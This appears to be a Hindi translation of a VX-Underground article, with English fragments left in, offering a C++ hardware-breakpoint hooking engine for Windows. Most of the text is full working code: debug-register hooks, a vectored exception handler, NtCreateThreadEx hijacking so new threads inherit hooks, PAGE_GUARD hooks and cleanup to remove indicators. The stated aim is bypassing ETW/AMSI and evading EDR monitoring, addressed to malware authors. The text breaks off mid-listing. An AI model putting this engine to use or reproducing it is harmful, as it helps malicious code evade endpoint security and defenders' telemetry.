
विंडोज़ के लिए हार्डवेयर ब्रेकपॉइंट हुकिंग इंजन जो फ़ंक्शंस को हुक करने, ETW/AMSI को बायपास करने, और यूज़र-लैंड EDR मॉनिटरिंग से बचने के लिए डिबग रजिस्टर का उपयोग करता है।
यह लेख मूल रूप से VX-Underground Black Mass Halloween Edition 2022 के लिए था।
हुकिंग इंजन:
डीबग रजिस्टर का उपयोग करते हुए सामान्य x64 यूज़र-लैंड एवेज़न तकनीक:
ETW/AMSI हुक के उदाहरण उपलब्ध
हमारा कार्य फ़ंक्शनों को आसानी से हुक करना और आवश्यकतानुसार कोड प्रवाह को मोड़ना है, और अंत में जब हुक की आवश्यकता न रह जाए तो उसे हटा देना है।
हम IAT हुक लगाने पर विचार नहीं कर सकते क्योंकि उन्हें हमेशा कॉल नहीं किया जाता और इसलिए वे अविश्वसनीय हैं। इनलाइन हुकिंग एक शक्तिशाली तकनीक है; हालाँकि, इसके लिए हमें उस मेमोरी को पैच करना आवश्यक है जहाँ कोड स्थित होता है। यह एक शक्तिशाली तकनीक है, लेकिन PE-Sieve और Moneta जैसे उपकरण मॉड्यूल की मेमोरी-स्थित प्रति और डिस्क-स्थित प्रति के बीच अंतर को पहचान सकते हैं और फ़्लैग कर सकते हैं। यह हमें इस कार्य के लिए सही उपकरण देता है: डीबग रजिस्टर, हालाँकि वे मैलवेयर लेखकों द्वारा काफी कम सराहे गए हैं!
विंडोज़ पर, उच्च-स्तरीय अवलोकन के रूप में, एक प्रक्रिया अनिवार्य रूप से थ्रेड्स का संपुटन है, और इनमें से प्रत्येक थ्रेड एक कॉन्टेक्स्ट बनाए रखता है जो थ्रेड की स्थिति है: रजिस्टर, स्टैक आदि। डीबग रजिस्टर एक विशेषाधिकार प्राप्त संसाधन हैं, और उन्हें सेट करना भी विशेषाधिकार प्राप्त है; हालाँकि, विंडोज़ विभिन्न syscalls उजागर करता है, जो हमें अनुरोध करने की अनुमति देते हैं कि कर्नेल हमारी ओर से एक विशेषाधिकार प्राप्त कार्रवाई करे; इसमें डीबग रजिस्टर सेट करना शामिल है जो हमारे लिए एकदम सही हैं। NtSetThreadContext और NtGetThreadContext कार्यक्षमता उजागर करते हैं किसी भी थ्रेड कॉन्टेक्स्ट को संशोधित करने के लिए जिसके लिए हम आवश्यक विशेषाधिकार के साथ हैंडल खोल सकते हैं। हम देख सकते हैं कि Win32 API के साथ डीबग रजिस्टर कैसे सेट करें।```c CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
// set our debug information in the Dr registers
SetThreadContext(thd, &context);
There are 8 Debug registers, from Dr0 through to Dr7. The ones of interest to us are only
Dr0-3 which we store addresses we would like to break on, and Dr6 is just the debug
status. Most importantly is Dr7, which describes the breakpoints conditions in which the
processor will throw an exception. There are various limitations when using debug
registers, such as a limited number (4) and not being applied to all threads/newly
spawned threads. We will look to address some of these limitations!
यहाँ Dr0 से Dr7 तक 8 डिबग रजिस्टर होते हैं। हमारे लिए केवल Dr0-3 ही महत्वपूर्ण हैं, जिनमें हम वे पते संग्रहीत करते हैं जिन पर हम ब्रेक करना चाहते हैं, और Dr6 केवल डिबग स्थिति है। सबसे महत्वपूर्ण Dr7 है, जो ब्रेकपॉइंट की उन शर्तों को दर्शाता है जिनके अंतर्गत प्रोसेसर एक अपवाद उत्पन्न करेगा। डिबग रजिस्टरों का उपयोग करते समय कई सीमाएँ होती हैं, जैसे सीमित संख्या (4) और सभी थ्रेड्स/नव निर्मित थ्रेड्स पर लागू न होना। हम इनमें से कुछ सीमाओं को दूर करने का प्रयास करेंगे!
जब अपवाद उत्पन्न होता है, तो यह एक अपवाद हैंडलर की तलाश करेगा, जिसे हम अपने प्रोग्राम में परिभाषित और पंजीकृत कर सकते हैं [1]। अपने परिभाषित अपवाद हैंडलर में, हम चाहते हैं कि संबंधित ब्रेकपॉइंट ट्रिगर होने पर हमारा संबद्ध कोड (विभिन्न कोड प्रवाह) चले।```c
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
{
// Look for our associated code flow relative to our RIP
if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
यह एक कंस्ट्रक्टर फ़ंक्शन द्वारा प्राप्त किया जाता है जो एक "callback" लैम्ब्डा फ़ंक्शन और एक एड्रेस के बीच मैपिंग सेट करता है। using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;```c typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
// Global std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
// Create our mapping HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos;
हमें अपने सभी प्रोसेस थ्रेड्स के माध्यम से पुनरावृत्ति करनी होगी और उनके लिए संदर्भ में संबंधित समायोजन
सेट करने होंगे। यह ToolHelp32 सहायक फ़ंक्शनों का उपयोग करके प्राप्त किया जा सकता है:
CreateToolhelp32Snapshot, और Thread32Next। यह कुछ खास नहीं है, लेकिन यह हमारी एक सीमा को संबोधित करता है
जो सभी थ्रेड्स से न जुड़ने की है।```c
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
DWORD pid{ GetCurrentProcessId() };
HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
if (h != INVALID_HANDLE_VALUE) {
THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
if (Thread32First(h, &te)) {
do {
if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
हार्डवेयर ब्रेकपॉइंट सेट होना संदिग्ध माना जा सकता है क्योंकि वे दुर्भावनापूर्ण गतिविधि का संकेत दे सकते हैं (हालाँकि मेरी जानकारी के अनुसार कोई EDR सक्रिय रूप से इन्हें स्कैन नहीं करते)। इन्हें उपयोग किया जा सकता है हमारे विरुद्ध संभावित IoC के रूप में, इसलिए हमें इनका उपयोग समाप्त करने के बाद इनके निशान हटाने होंगे।
हम इसे अपने deconstructor फ़ंक्शन में लागू कर सकते हैं!! यह सभी थ्रेड्स को इटरेट करेगा और जाँच करेगा कि क्या रजिस्टर (&context.Dr0)[pos] उस पते की ओर इशारा करता है जिस पर हमने शुरू में हार्डवेयर ब्रेकपॉइंट सेट किया था (pos केवल एक index % 4 है जो हमें पहुँच प्रदान करता है context.Dr0-Dr3 तक)। हम Dr7 रजिस्टर में आवश्यक शर्तों को भी हटा सकते हैं। हमें अपनी मैपिंग प्रविष्टि को हटाना भी याद रखना चाहिए। इसलिए, हमारा हार्डवेयर ब्रेकपॉइंट केवल आवश्यक अवधि के लिए उपस्थित रहेगा!```c SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address);
हार्डवेयर ब्रेकपॉइंट का एक उदाहरण Sleep होगा, जहाँ हम स्लीप अवधि को
0 से बदल देते हैं।```c
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, // Set Dr 0
([&](PEXCEPTION_POINTERS ExceptionInfo) {
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution
}) };
हमें पता है कि x64 Windows चार-रजिस्टर fast-call कॉलिंग कन्वेंशन[1] के कारण RCX सेट करना होता है। कंस्ट्रक्टर का पहला आर्गुमेंट वह पता है जिस पर ब्रेक करना है, दूसरा यह है कि किस Dr0- 3 रजिस्टर में स्टोर करना है (ध्यान दें, हम एक समय में केवल 4 पतों पर ब्रेक कर सकते हैं), और तीसरा एक lambda फ़ंक्शन है जो संदर्भ द्वारा PEXCEPTION_POINTERS को कैप्चर करेगा, जो वह जानकारी है जो exception handler को प्राप्त होगी। यह अंततः हमें किसी प्रोग्राम के प्रवाह को अलग-अलग तरीके से नियंत्रित करने देगा, जो इस बात पर निर्भर करता है कि कौन सा ब्रेकपॉइंट ट्रिगर हुआ।
जब कोई नया thread बनाया जाता है, तो वह संबद्ध Debug Registers सेट इनहेरिट नहीं करता, जब तक कि हम किसी तरह नए thread के निर्माण को इंटरसेप्ट न कर लें! एक आसान तरकीब जो हम उपयोग कर सकते हैं वह है वास्तविक start address को कैप्चर करना और नए thread को हमारे अपने thread बनाने के लिए मोड़ देना। अधिकांश नए thread NtCreateThreadEx को कॉल करके समाप्त होते हैं।```c // Global Variable PVOID START_THREAD{ 0 };
// capture original start address HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx"), 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) {
// save original thread address
START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);
// set the start address to our thread address
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
DWORD WINAPI HijackThread(LPVOID lpParameter) { typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);
// Set required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}
// restore execution to original thread
return ((typeThreadProc)START_THREAD)(lpParameter);
}
इस समाधान की एक सीमा यह है कि थ्रेड के लिए कॉल स्टैक हमारे इंजेक्ट किए गए DLL के HijackThread से उत्पन्न होगा, न कि मूल थ्रेड से! वैकल्पिक रूप से, एक बेहतर समाधान यह होगा कि हम स्वयं NtCreateThreadEx को कॉल करें लेकिन इसे सस्पेंडेड अवस्था में प्रारंभ करें और फिर आवश्यक हार्डवेयर ब्रेकपॉइंट्स सेट करें। फिर हम इस नए थ्रेड के लिए डिबग रजिस्टर सेट करके सस्पेंडेड थ्रेड को रिज़्यूम करके निष्पादन बहाल करते हैं। यह डिबग रजिस्टरों का उपयोग करने की एक और सीमा का समाधान करेगा।
जिस इंस्ट्रक्शन पर हमने ब्रेकपॉइंट सेट किया है उसे कॉल करने से एक अनंत लूप ट्रिगर होगा; इसलिए, हम अस्थायी रूप से उस हार्डवेयर ब्रेकपॉइंट को अक्षम कर देते हैं जो हमारे वर्तमान RIP को ट्रिगर करने के लिए ज़िम्मेदार है। फिर एक बार कॉल करने के बाद, हम इसे पुनर्स्थापित कर सकते हैं। इस प्रकार यह हमें मूल फ़ंक्शन को कॉल करने देगा (जैसे कि एक ट्रैम्पोलिन)। इस मामले में, हमें अपने RIP को एक ret गैजेट की ओर इंगित करना होगा ताकि यह वापस लौट सके और कोई और syscall इंस्ट्रक्शन न बनाए।
5वाँ पैरामीटर और उसके आगे के पैरामीटर, 0x8 बाइट अंतराल पर स्टैक पर पुश किए हुए पाए जा सकते हैं [2]। जब हम ब्रेकपॉइंट ट्रिगर करते हैं तो हमारा स्टैक कुछ इस प्रकार दिखता है।```
___________________________
| |
| 0x8 + lpBytesBuffer |
|___________________________|
| |
| 0x8 + SizeOfStackReserve |
|___________________________|
| |
| 0x8 + SizeOfStackCommit |
|___________________________|
| |
| 0x8 + StackZeroBits |
|___________________________|
| |
| 0x8 + Flags |
|___________________________|
| |
| 0x8 + lpParameter |
|___________________________|
| |
| 0x8 + lpStartAddress |
RSP + 0x28 +-> |___________________________|
| |
| |
| | R9 +-> (HANDLE)ProcessHandle
| 0x20 + Shadow Store | R8 |-> (PVOID) ObjectAttributes
| | RDX |-> (ACCESS_MASK) DesiredAccess
| | RCX +-> (PHANDLE) hThread
|___________________________|
| |
| 0x8 + Call Ret Addr | RIP +-> NtCreateThreadEx
RSP +-> |___________________________|
// Find our ret ROP gadget
uintptr_t FindRetAddr(const uintptr_t function)
{
BYTE stub[]{ 0xC3 };
for (unsigned int i = 0; i < (unsigned int)25; i++)
{
// do not worry this will be optimized
if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {
return (function + i);
}
}
return NULL;
}
typedef LONG(NTAPI* typeNtCreateThreadEx)(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"),
"NtCreateThreadEx"), 1,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
// temporary disable of NtCreateThreadEx in our current thread.
for (auto& i : HWBP_ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
// create the original thread BUT suspended
// THREAD_CREATE_FLAGS_CREATE_SUSPENDED == 0x00000001
// ( Flags | THREAD_CREATE_FLAGS_CREATE_SUSPENDED)
LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
(PVOID)ExceptionInfo->ContextRecord->R8,
(HANDLE)ExceptionInfo->ContextRecord->R9,
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
);
CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
// Setup required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
(&context.Dr0)[i.second.pos] = i.first;
context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
context.Dr7 |= 1ull << (2 * i.second.pos);
}
SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
&context);
ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));
// restore our HWBP on NtCreateThreadEx
for (auto& i : HWBP_ADDRESS_MAP) {
if (i.first == ExceptionInfo->ContextRecord->Rip) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
}
}
// RAX contains the return value.
ExceptionInfo->ContextRecord->Rax = status;
// Set RIP to a ret gadget to avoid creating
// another new thread (skip syscall instruction)
ExceptionInfo->ContextRecord->Rip =
FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };
मैं एक हार्डवेयर ब्रेकपॉइंट हुकिंग इंजन साझा करता हूँ जिसे आप C++ में लिखा हुआ उपयोग कर सकते हैं। उदाहरण हार्डवेयर ब्रेकपॉइंट स्लीप फ़ंक्शन पर Dr0 में एक ब्रेकपॉइंट सेट करता है, और पहले मान (RCX में) को 0 पर सेट करता है, जिससे सभी स्लीप्स छूट जाती हैं। इस ब्रेकपॉइंट को भविष्य के सभी नए थ्रेड्स में सेट करने के लिए, आप उपरोक्त उदाहरण का उपयोग कर सकते हैं, जो Dr1 का उपयोग करता है।```c ////////////////////////////////////////////////////////////////////////////////////////// /* HWBPP.cpp - @rad9800 / / C++ Hardware Breakpoint Library (DLL example) */ ////////////////////////////////////////////////////////////////////////////////////////// // dllmain.cpp : Defines the entry point for the DLL application. // /std:c++20 #include "pch.h" #include <windows.h>
#include <tlhelp32.h> #include
using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
const HANDLE thd =
OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address } , pos{idx % 4} { SetHWBPS(address, pos);
HWBP_ADDRESS_MAP[address].func = function;
HWBP_ADDRESS_MAP[address].pos = pos;
};
VOID RemoveHWBPS()
{
SetHWBPS(address, pos, false);
HWBP_ADDRESS_MAP.erase(address);
}
~HWBP()
{
RemoveHWBPS();
}
private: const uintptr_t address; UINT pos; };
// Global Scope HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, ([&](PEXCEPTION_POINTERS ExceptionInfo) { ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->EFlags |= (1 << 16); }) }; ////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// extern "C" BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { HANDLE handler = NULL; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { handler = AddVectoredExceptionHandler(1, ExceptionHandler); }; break; case DLL_THREAD_ATTACH: { } break; case DLL_THREAD_DETACH: {
}; break;
case DLL_PROCESS_DETACH: {
if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}; break;
}
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////
जैसा कि हमने पहले चर्चा की, डिबग रजिस्टर सेट रखना एक बुरी प्रथा है। इसलिए, हम
अपने डिबग रजिस्टरों के उपयोग को PAGE_GUARD हुक्स के साथ पूरक करेंगे, जिससे हम एक
डिबग रजिस्टर मुक्त कर सकें: Dr1 (NtCreateThreadEx के लिए उपयोग किया जाता है)।
PAGE_GUARD मूल रूप से एक-शॉट मेमोरी सुरक्षा है जो एक अपवाद उत्पन्न करेगी। इन्हें
सिस्टम में मौजूद आवंटन ग्रैन्युलैरिटी के सबसे निचले स्तर पर पेजों पर लागू किया जाता है
(जो कभी-कभी बाधा साबित हो सकता है)। PAGE_GUARD हुकिंग कोई नई बात नहीं है, लेकिन हम
इसका उपयोग अपनी कुछ सीमाओं को दूर करने के लिए कर सकते हैं। हम शुरुआत में अपना
PAGE_GUARD पते पर लागू करेंगे, और PAGE_GUARD PAGE_GUARD_VIOLATION को फेंककर ट्रिगर होगा।
VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
हम किसी विशिष्ट पते पर ट्रिगर करने के लिए लैम्ब्डा मैप करने की उसी अवधारणा को लागू कर सकते हैं। हम
PAGE_GUARD को दोबारा लागू करते हुए अपने वर्तमान पेज पर फ़ंक्शन निर्देशों के माध्यम से सिंगल-स्टेप करेंगे।
यह स्पष्ट रूप से अपेक्षाकृत धीमा है, लेकिन इसका लाभ यह है कि यह डिबग रजिस्टर आरक्षित नहीं करता।
धीमा होना मुख्य कारण होने के कारण, हमने इन्हें मुख्य रूप से उपयोग करने से परहेज
किया।```c
typedef struct {
EXCEPTION_FUNC func;
} PG_CALLBACK;
std::unordered_map<uintptr_t, PG_CALLBACK> PG_ADDRESS_MAP{ 0 };
PG_ADDRESS_MAP[address].func = function;
नए थ्रेड्स पर डिबग रजिस्टर हुक लागू करने के लिए, हम केवल पिछला उदाहरण कॉपी कर सकते हैं NtCreateThreadEx को हुक करने के लिए, लेकिन उन लूप्स को हटा सकते हैं जहाँ हम अपने वर्तमान थ्रेड के लिए HWBPs को अक्षम और पुनर्स्थापित करते हैं।
हम दूसरा कोड उदाहरण प्रस्तुत कर सकते हैं जहाँ हम ऊपर उल्लिखित NtCreateThreadEx का हुक PAGE_GUARDs के साथ करते हैं। पहले की तरह, हमारा डीकंस्ट्रक्टर फ़ंक्शन हमारी मैपिंग में प्रविष्टि को हटा देगा और सुरक्षाएँ (यदि सेट हैं) हटा देगा।```c
////////////////////////////////////////////////////////////////////////////////////////// /* DRPGG.cpp - @rad9800 */ ////////////////////////////////////////////////////////////////////////////////////////// #include <windows.h>
#include <tlhelp32.h> #include // std::function
using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;
////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
typedef struct { EXCEPTION_FUNC func; } PG_CALLBACK;
typedef LONG(NTAPI* typeNtCreateThreadEx)( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer );
////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 }; std::unordered_map<uintptr_t, PG_CALLBACK> PG_ADDRESS_MAP{ 0 };
////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// // Find our ret ROP gadget uintptr_t FindRetAddr(const uintptr_t function) { BYTE stub[]{ 0xC3 }; for (unsigned int i = 0; i < (unsigned int)25; i++) { if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) { return (function + i); } } return NULL; }
VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
const HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { DWORD old = 0; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) { if (PG_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { PG_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); } ExceptionInfo->ContextRecord->EFlags |= (1 << 8); return EXCEPTION_CONTINUE_EXECUTION; } else if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } for (const auto& i : PG_ADDRESS_MAP) { VirtualProtect((LPVOID)i.first, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }
DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); Sleep(500000);
return 0;
}
////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address }, pos{ idx % 4 } { SetHWBPS(address, pos);
HWBP_ADDRESS_MAP[address].func = function;
HWBP_ADDRESS_MAP[address].pos = pos;
};
VOID RemoveHWBPS()
{
SetHWBPS(address, pos, false);
HWBP_ADDRESS_MAP.erase(address);
}
~HWBP()
{
RemoveHWBPS();
}
private: const uintptr_t address; UINT pos; };
template struct PGBP { public: PGBP(const uintptr_t address, const HANDLER function) : old{ 0 }, address{ address } {
VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
PG_ADDRESS_MAP[address].func = function;
}
VOID RemovePGEntry()
{
VirtualProtect((LPVOID)address, 1, old, &old);
PG_ADDRESS_MAP.erase(address);
}
~PGBP()
{
RemovePGEntry();
}
private: DWORD old; const uintptr_t address; };
////////////////////////////////////////////////////////////////////////////////////////// /* Entry Point */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler{ AddVectoredExceptionHandler(1, ExceptionHandler) };
HWBP HWBPSleep{
(uintptr_t)&Sleep,
1,
([&](PEXCEPTION_POINTERS ExceptionInfo) {
printf("Sleeping %lld\n", ExceptionInfo->ContextRecord->Rcx);
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution
}) };
PGBP VEHNtCreateThreadEx{
(uintptr_t)GetProcAddress(
GetModuleHandle(L"NTDLL.dll"),
"NtCreateThreadEx"
),
([&](PEXCEPTION_POINTERS ExceptionInfo) {
// create a new thread suspended
LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
(PVOID)ExceptionInfo->ContextRecord->R8,
(HANDLE)ExceptionInfo->ContextRecord->R9,
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
